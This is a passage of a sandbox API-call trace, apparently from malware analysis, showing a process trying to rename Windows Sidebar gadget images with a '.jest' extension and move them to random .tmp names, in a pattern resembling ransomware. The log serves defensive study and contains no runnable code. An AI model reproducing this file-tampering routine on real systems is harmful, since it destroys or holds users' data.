hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.084] GetTickCount () returned 0x1151f83 [0126.084] IsWindowVisible (hWnd=0x30268) returned 0 [0126.084] Sleep (dwMilliseconds=0x0) [0126.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.084] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.085] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png.jest")) returned 0 [0126.085] GetLastError () returned 0x5 [0126.085] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整⹭湰g") returned 0x4d [0126.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.085] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整⹭湰g") returned 0x4d [0126.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=78, lpWideCharStr=0x14cf24c, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png") returned 78 [0126.085] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整⹭湰⹧敪瑳") returned 0x52 [0126.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.085] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整⹭湰⹧敪瑳") returned 0x52 [0126.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=83, lpWideCharStr=0x144ddec, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png.jest") returned 83 [0126.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png", lpUsedDefaultChar=0x0) returned 78 [0126.085] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png", lpFilePart=0x18e6d8*="system.png") returned 0x4d [0126.086] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ef4e3c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ef4e3c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56a7cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x78, dwReserved1=0x0, cFileName="system.png", cAlternateFileName="")) returned 0x143ce48 [0126.086] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.087] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.087] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3b7)) [0126.087] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3b7)) [0126.087] GetUserDefaultLCID () returned 0x409 [0126.087] VarBstrFromR4 (in: fltIn=0x479444fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.95") returned 0x0 [0126.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1 [0126.088] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.089] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.090] GetTickCount () returned 0x1151f92 [0126.090] GetTickCount () returned 0x1151f92 [0126.090] GetTickCount () returned 0x1151f92 [0126.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.090] GetTickCount () returned 0x1151f92 [0126.090] IsWindowVisible (hWnd=0x30268) returned 0 [0126.090] Sleep (dwMilliseconds=0x0) [0126.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.091] GetFullPathNameA (in: lpFileName="pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp", lpFilePart=0x18e708*="pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp") returned 0x8d [0126.091] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png", lpFilePart=0x18e708*="system.png") returned 0x4d [0126.092] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\prfdeh3 odsxvcrguu8xbqfdjf w1wt6wqsl2k5jq4bnslhqjwyc ycg5hkdqx9lfvfqgqlcl6hmxwyirwo6qbco21yoqdnrgyz.tmp")) returned 0 [0126.092] GetLastError () returned 0x5 [0126.092] GetLastError () returned 0x5 [0126.092] SetLastError (dwErrCode=0x5) [0126.092] GetLastError () returned 0x5 [0126.092] SetLastError (dwErrCode=0x5) [0126.092] GetLastError () returned 0x5 [0126.092] SetLastError (dwErrCode=0x5) [0126.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.092] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.092] GetFullPathNameA (in: lpFileName="pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp", lpFilePart=0x18e6e4*="pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp") returned 0x8d [0126.092] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pRfDeH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x44665270, cFileName="eH3 oDsxvCRGuu8XBQfdJf w1WT6wQSL2k5Jq4BnsLHQJWYC Ycg5HkdQX9lfvfQGQLCl6hmXWyiRWO6QBCO21YOQDnRGYZ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.093] GetLastError () returned 0x2 [0126.093] GetLastError () returned 0x2 [0126.093] SetLastError (dwErrCode=0x2) [0126.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.093] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.094] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.094] GetLastError () returned 0x0 [0126.094] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.095] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.095] GetLastError () returned 0x0 [0126.095] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.095] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.096] GetLastError () returned 0x0 [0126.096] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.096] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.096] GetLastError () returned 0x0 [0126.096] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.096] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.096] GetTickCount () returned 0x1151f92 [0126.096] GetTickCount () returned 0x1151f92 [0126.096] GetTickCount () returned 0x1151f92 [0126.096] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.096] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.096] GetTickCount () returned 0x1151f92 [0126.096] IsWindowVisible (hWnd=0x30268) returned 0 [0126.096] Sleep (dwMilliseconds=0x0) [0126.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.099] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.099] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png.jest")) returned 0 [0126.099] GetLastError () returned 0x5 [0126.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹨湰g") returned 0x4f [0126.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹨湰g") returned 0x4f [0126.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=80, lpWideCharStr=0x14cf24c, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png") returned 80 [0126.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹨湰⹧敪瑳") returned 0x54 [0126.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹨湰⹧敪瑳") returned 0x54 [0126.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=85, lpWideCharStr=0x14c2ea4, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png.jest") returned 85 [0126.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png", lpUsedDefaultChar=0x0) returned 80 [0126.100] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png", lpFilePart=0x18e6d8*="system_h.png") returned 0x4f [0126.100] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x78, dwReserved1=0x0, cFileName="system_h.png", cAlternateFileName="")) returned 0x143ce48 [0126.100] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.100] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.100] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3c7)) [0126.100] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3c7)) [0126.100] GetUserDefaultLCID () returned 0x409 [0126.100] VarBstrFromR4 (in: fltIn=0x479444fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.97") returned 0x0 [0126.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0126.101] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.101] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.101] GetTickCount () returned 0x1151f92 [0126.101] GetTickCount () returned 0x1151f92 [0126.101] GetTickCount () returned 0x1151f92 [0126.101] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.101] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.101] GetTickCount () returned 0x1151f92 [0126.101] IsWindowVisible (hWnd=0x30268) returned 0 [0126.101] Sleep (dwMilliseconds=0x0) [0126.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.103] GetFullPathNameA (in: lpFileName="Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp", lpFilePart=0x18e708*="Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp") returned 0x8e [0126.103] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png", lpFilePart=0x18e708*="system_h.png") returned 0x4f [0126.103] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ng 03ytjrthdwrg_yjgmqfjo3zuzcupjvkwehms9w4qcrca7-bgu4icwvfgzmbfrc1zbivlzdm3xzewcri-wdx5bpxtplvwo7y3q.tmp")) returned 0 [0126.103] GetLastError () returned 0x5 [0126.103] GetLastError () returned 0x5 [0126.103] SetLastError (dwErrCode=0x5) [0126.103] GetLastError () returned 0x5 [0126.103] SetLastError (dwErrCode=0x5) [0126.103] GetLastError () returned 0x5 [0126.103] SetLastError (dwErrCode=0x5) [0126.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.104] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.104] GetFullPathNameA (in: lpFileName="Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp", lpFilePart=0x18e6e4*="Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp") returned 0x8e [0126.104] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ng 03ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3020674e, cFileName="3ytJrthdWRg_yjgMqFjo3ZUZCUpjVKWehMs9W4qcrCA7-bGu4icwVfgzmBFrc1ZBIVLZDM3xzeWCrI-WDx5bpXTpLVwo7Y3q.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.104] GetLastError () returned 0x2 [0126.104] GetLastError () returned 0x2 [0126.104] SetLastError (dwErrCode=0x2) [0126.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.104] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.105] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, 